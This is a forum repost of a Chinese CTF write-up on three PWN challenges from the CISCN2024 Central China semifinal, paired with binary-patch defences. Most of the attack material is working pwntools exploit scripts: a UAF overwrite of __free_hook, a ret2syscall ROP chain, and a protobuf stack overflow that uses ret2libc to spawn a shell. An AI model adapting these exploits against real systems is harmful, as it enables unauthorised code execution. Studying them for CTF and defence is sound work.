ToB企服应用市场:ToB评测及商务社交产业平台

标题: [CISCN2024]华中赛区半决赛 PWN部门题解 [打印本页]

作者: 不到断气不罢休    时间: 2024-6-25 13:23
标题: [CISCN2024]华中赛区半决赛 PWN部门题解
[CISCN2024]华中半决赛 PWN部门题解

这次比赛中我攻击了2道,防御了3道
note

一道2.31堆题,保护全开,存在UAF漏洞
攻击

先填满tcache bin然后利用unsorted bin泄漏libc地址,再UAF修改tcache的fd指针为free_hook,再将system函数的地址写入free_hook,末了触发free函数getshell即可
exp
  1. from pwn import *
  2. def debug(c = 0):
  3.     if(c):
  4.         gdb.attach(p, c)
  5.     else:
  6.         gdb.attach(p)
  7. def get_addr():
  8.     return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  9. def get_sb():
  10.     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  11. #-----------------------------------------------------------------------------------------
  12. s = lambda data : p.send(data)
  13. sa  = lambda text,data  :p.sendafter(text, data)
  14. sl  = lambda data   :p.sendline(data)
  15. sla = lambda text,data  :p.sendlineafter(text, data)
  16. r   = lambda num=4096   :p.recv(num)
  17. rl  = lambda text   :p.recvuntil(text)
  18. pr = lambda num=4096 :print(p.recv(num))
  19. inter   = lambda        :p.interactive()
  20. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  21. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  22. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  23. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  24. int16   = lambda data   :int(data,16)
  25. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
  26. #-----------------------------------------------------------------------------------------
  27. context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])
  28. #p = remote('8.147.133.173', 19426)
  29. p = process("./pwn")
  30. #elf = ELF('./pwn')
  31. libc=ELF("./libc.so.6")
  32. def add(size,c):
  33.         rl("5. exit\n")
  34.         sl(str(1))
  35.         rl("The size of your content: \n")
  36.         sl(str(size))
  37.         rl("content: \n")
  38.         s(c)
  39. def edit(idx,size,c):
  40.         rl("5. exit\n")
  41.         sl(str(2))
  42.         rl("index: ")
  43.         sl(str(idx))
  44.         rl("The size of your content: \n")
  45.         sl(str(size))
  46.         rl("Content: \n")
  47.         s(c)
  48. def free(idx):
  49.         rl("5. exit\n")
  50.         sl(str(3))
  51.         rl("index: ")
  52.         sl(str(idx))
  53. def show(idx):
  54.         rl("5. exit\n")
  55.         sl(str(4))
  56.         rl("index: ")
  57.         sl(str(idx))
  58. for i in range(10):
  59.         add(0x90,b'/bin/sh\x00')
  60. for i in range(7):
  61.         free(i)
  62. free(7)
  63. #debug('b *$rebase(0x15D0)')
  64. show(7)
  65. #libc_base=u64(rl(b'\x0a')[-7:-1].ljust(8, b'\x00'))-libc.sym['__malloc_hook']-96-0x10
  66. libc_base = get_addr()-libc.sym['__malloc_hook']-96-0x10
  67. lg("libcbase",libc_base)
  68. free_hook=libc_base+libc.sym['__free_hook']
  69. system,bin=get_sb()
  70. edit(6,0x90,p64(free_hook))
  71. #debug('b *$rebase(0x1370)')
  72. add(0x90,b'a')
  73. add(0x90,p64(system))
  74. free(9)
  75. inter()
复制代码
防御

这里我将删除功能里的call free直接nop掉,防御乐成
go_note

一道go的菜单题,一开始还以为是go heap想直接放弃的(看到go就想吐
但之后仔细看一下发现就是栈溢出,漏洞点在edit功能
  1.   str = content.str;
  2.   for ( j = 0LL; j < content.len; ++j )
  3.   {
  4.     *(_BYTE *)v8 = *str;
  5.     v8 = (__int128 *)((char *)v8 + 1);
  6.     ++str;
  7.   }
复制代码
攻击

调试看一下溢出偏移,然后ret2syscall就行
这里要提一嘴,找gadget有点麻烦,要用--depth参数增加搜索深度,然后选择一些不影响参数寄存器的gadget来用
  1. ROPgadget --binary ./note --only "pop|ret|add|mov|xor" --depth 30 |grep "pop rsi"
复制代码
exp
  1. from pwn import *
  2. p = process('./note')
  3. rax=0x000000000040fbdd  #pop rax; pop rbp; ret;
  4. rdx=0x000000000047a8fa  #pop rdx ; ret
  5. rdi=0x0000000000462498  #pop rdi ; add eax, 0xc1894800 ; mov rax, rdx ; add rsp, 0xf8 ; pop rbp ; ret
  6. rsi=0x0000000000462552  #pop rsi; add eax, 0xc1894800d; xor eax, eax; add rsp, 0xf8; pop rbp; ret;
  7. syscall=0x000000000045e0a9
  8. bss=0x526680+0x1000
  9. p.recvuntil("choice > ")
  10. p.sendline(str(1))
  11. p.recvuntil("note content: ")
  12. p.sendline(b'a')
  13. payload=b'a'*(0x40)+p64(rdi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0x100)+p64(syscall)
  14. payload+=p64(rdi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)*2
  15. p.recvuntil("choice > ")
  16. p.sendline(str(3))
  17. p.recvuntil("Please input note id:")
  18. p.sendline(str(1))
  19. p.recvuntil("Please input new content:")
  20. p.sendline(payload)
  21. p.send(b'/bin/sh\x00')
  22. p.interactive()
复制代码
防御

这里我是直接把*(_BYTE *)v8 = *str;这条语句nop掉了,对应000000000047F3DF                 mov     [r12], r13b这条指令
protoverflow

一道简单的protobuf栈溢出题,比赛的时候因为工具出了点问题导致没能打出来,但防御乐成了
赛后自己再重新做了一遍,懒得patch libc,就直接用本机的libc打了(
攻击

漏洞就在memcpy那里
exp
  1. from pwn import *
  2. def debug(c = 0):
  3.     if(c):
  4.         gdb.attach(p, c)
  5.     else:
  6.         gdb.attach(p)
  7. def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  8. #-----------------------------------------------------------------------------------------
  9. s = lambda data : p.send(data)
  10. sa  = lambda text,data  :p.sendafter(text, data)
  11. sl  = lambda data   :p.sendline(data)
  12. sla = lambda text,data  :p.sendlineafter(text, data)
  13. r   = lambda num=4096   :p.recv(num)
  14. rl  = lambda text   :p.recvuntil(text)
  15. pr = lambda num=4096 :print(p.recv(num))
  16. inter   = lambda        :p.interactive()
  17. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  18. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  19. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  20. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  21. int16   = lambda data   :int(data,16)
  22. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
  23. #-----------------------------------------------------------------------------------------
  24. import message_pb2
  25. context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])
  26. elf_patch = './pwn'
  27. p = process([elf_patch], env= {"LD_LIBRARY_PATH":"./"})
  28. elf = ELF(elf_patch)
  29. libc = ELF(p.libc.path)
  30. # debug('b *$rebase(0x332f)')
  31. rl(b'0x')
  32. libc_base = int(r(12), 16) - libc.sym['puts']
  33. rdi = libc_base + 0x000000000002a3e5
  34. ret = rdi + 1
  35. system, binsh = get_sb()
  36. pl = b'a'*0x218
  37. pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
  38. msg = message_pb2.protoMessage()
  39. msg.name="1"
  40. msg.phoneNumber="2"
  41. msg.buffer = pl
  42. msg.size = len(pl)
  43. serialized_msg = msg.SerializeToString()
  44. s(serialized_msg)
  45. lg('libc_base', libc_base)
  46. inter()
复制代码
防御

将memcpy的size参数改成0x200即可,因为设置该参数的汇编指令mov     edx, [rbp-0Ch]只有三个字节的长度,但mov edx,0x200有五个字节,以是不能在原指令上直接修改,这里考虑跳转到eh_frame段(在eh_frame段里随便找个看着顺眼的地址)
如果用CE写过汇编脚本,那下面这个应该更好理解
  1. 0x0331B:
  2.         jmp eh_frame
  3.         nop ;nop来补齐六个字节
  4. eh_frame:
  5.         mov edx,0x200 ;设置size参数为0x200
  6.         mov rcx, [rbp-8] ;还原被覆盖的指令
  7.         jmp 0x3322 ;跳转回去
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4